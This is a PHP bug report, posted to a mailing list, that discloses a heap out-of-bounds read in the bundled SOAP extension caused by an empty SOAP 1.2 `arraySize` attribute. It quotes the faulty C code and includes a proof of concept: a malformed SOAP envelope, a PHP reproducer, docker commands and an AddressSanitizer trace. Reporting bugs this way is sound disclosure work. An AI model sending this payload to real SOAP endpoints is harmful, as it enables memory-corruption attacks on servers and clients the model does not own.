[php-src] Issue #22887: ext/soap: heap out-of-bounds read while decoding a SOAP 1.2 array with an empty `arraySize`

[email protected] (Amorsec) Sat, 25 Jul 2026 15:55:55 +0000
Newsgroups php.bugs
Message-ID <[email protected]>
Issue: https://github.com/php/php-src/issues/22887
Author: Amorsec

### Description

### Summary

PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
`enc:arraySize` attribute while decoding an encoded array. An empty value makes
the dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads `pos[0]` for the first array item.

AddressSanitizer reports a four-byte heap out-of-bounds read in
`to_zval_array()`. The malformed value is protocol data in a SOAP request or
reply.

### Details

- **Affected component:** bundled `ext/soap` in PHP 8.4.20
- **Affected entry points:** `SoapServer::handle()` decoding a SOAP 1.2
  request, and `SoapClient` decoding a SOAP 1.2 response
- **Affected source:** `https://github.com/php/php-src`, PHP 8.4.20;
  `ext/soap/php_encoding.c`
- **Root cause:** `calc_dimension_12()` accepts an empty `arraySize` as zero
  dimensions, but `to_zval_array()` subsequently indexes the corresponding
  zero-length `pos` allocation.
- **Trigger condition:** a SOAP 1.2 encoded array has
  `enc:arraySize=""` and contains at least one XML element.

`calc_dimension_12()` counts runs of decimal digits or `*` characters. An
empty string enters neither loop and returns its initial value of zero:

```c
/* ext/soap/php_encoding.c */
static int calc_dimension_12(const char *str)
{
    int i = 0, flag = 0;

    while (*str != '\0' && (*str < '0' || *str > '9') && (*str != '*')) {
        str++;
    }
    if (*str == '*') {
        i++;
        str++;
    }
    while (*str != '\0') {
        if (*str >= '0' && *str <= '9') {
            if (flag == 0) {
                i++;
                flag = 1;
            }
        } else if (*str == '*') {
            soap_error0(E_ERROR, "Encoding: '*' may only be first arraySize value in list");
        } else {
            flag = 0;
        }
        str++;
    }
    return i;
}
```

The SOAP 1.2 array path trusts that result. `get_position_12()` and the later
`pos` allocation both receive `dimension == 0`. The loop for intermediate
arrays is skipped, leaving `i == 0`, and the first child is inserted using
`pos[i]`:

```c
/* ext/soap/php_encoding.c, to_zval_array() */
dimension = calc_dimension_12((char *) attr->children->content);
dims = get_position_12(dimension, (char *) attr->children->content);

/* ... */
pos = safe_emalloc(sizeof(int), dimension, 0);
memset(pos, 0, sizeof(int) * dimension);

/* ... first XML child ... */
i = 0;
ar = ret;
while (i < dimension - 1) {
    /* skipped when dimension is zero */
}
zend_hash_index_update(Z_ARRVAL_P(ar), pos[i], &tmpVal);
```

The public request path is a normal SOAP server receiving raw request XML:

```php
<?php
function sink($value = null): void {}

$server = new SoapServer(null, ['uri' => 'urn:x', 'soap_version' => SOAP_1_2]);
$server->addFunction('sink');
$server->handle(); // Parses the HTTP request body supplied by the peer.
```

An untrusted peer needs only to send the following SOAP body to that endpoint:

```xml
<?xml version="1.0"?>
<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
 xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
 xmlns:m="urn:x">
  <SOAP-ENV:Body>
    <m:sink><x SOAP-ENC:arraySize=""><i>abc</i></x></m:sink>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

The same native decoder is used when `SoapClient` processes a SOAP 1.2 reply
from a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.

### PoC

#### Environment and configuration
- **PHP:** PHP 8.4.20 CLI, NTS, DEBUG; built 2026-06-02
- **PHP source revision:** PHP 8.4.20 source tree. The original build did not
  retain a git commit identifier.
- **PHP configure options:**

```sh
PKG_CONFIG_PATH=/opt/openssl-3.2/lib64/pkgconfig \
./configure \
  --enable-soap --enable-mbstring --enable-debug --disable-cgi \
  --disable-phpdbg --enable-ftp --with-gmp --enable-intl --with-ldap \
  --with-xsl --with-zip --with-zlib --with-openssl=/opt/openssl-3.2 \
  --with-openssl-argon2 --enable-mysqlnd --with-mysqli=mysqlnd \
  --with-pdo-mysql=mysqlnd --with-unixODBC=/usr \
  --with-pdo-odbc=unixODBC,/usr --with-pdo-dblib --enable-pcntl \
  --enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm \
  --enable-sockets --enable-opcache --with-sodium --with-readline \
  --with-tidy --with-snmp --with-pgsql --with-pdo-pgsql \
  --with-pdo-firebird=/usr --enable-zend-test
```

- **PHP compiler/linker flags:**

```text
CFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
CXXFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
LDFLAGS=-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64
```

- **Extension:** bundled `ext/soap`, enabled with `--enable-soap`; no separate
  PECL module is loaded.
- **Sanitizer runtime:** `USE_ZEND_ALLOC=0`,
  `ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1`, and
  `UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1`. The recorded invocation
  also set `LD_LIBRARY_PATH=/opt/openssl-3.2/lib64`.

#### Reproducer

```php
<?php

function sink($value = null): void
{
}

function envelope(string $parameter): string
{
    return '<?xml version="1.0"?>'
        . '<SOAP-ENV:Envelope'
        . ' xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"'
        . ' xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"'
        . ' xmlns:m="urn:x">'
        . '<SOAP-ENV:Body><m:sink>' . $parameter . '</m:sink></SOAP-ENV:Body>'
        . '</SOAP-ENV:Envelope>';
}

$server = new SoapServer(null, [
    'uri' => 'urn:x',
    'soap_version' => SOAP_1_2,
]);
$server->addFunction('sink');

$server->handle(envelope('<x SOAP-ENC:arraySize=""><i>abc</i></x>'));
```


```sh
docker cp SOAP-NEW-001_server_poc.php \
  php-asan-8420:/tmp/soap-array-size-oob.php
docker exec php-asan-8420 env \
  LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
  USE_ZEND_ALLOC=0 \
  ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
  UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
  /src/php/sapi/cli/php /tmp/soap-array-size-oob.php
```

#### Sanitizer report

The retained sanitizer evidence reports the following access for the empty
`arraySize` server trigger:

```text
=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
    #0 to_zval_array /src/php/ext/soap/php_encoding.c:2695
    #1 master_to_zval_int /src/php/ext/soap/php_encoding.c:563
    #2 parse_packet_soap /src/php/ext/soap/php_packet_soap.c:350
...
0 bytes to the right of 1-byte region
allocated by safe_emalloc at to_zval_array:2650
```

The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.

### PHP Version

```plain
PHP 8.4.20
```

### Operating System

_No response_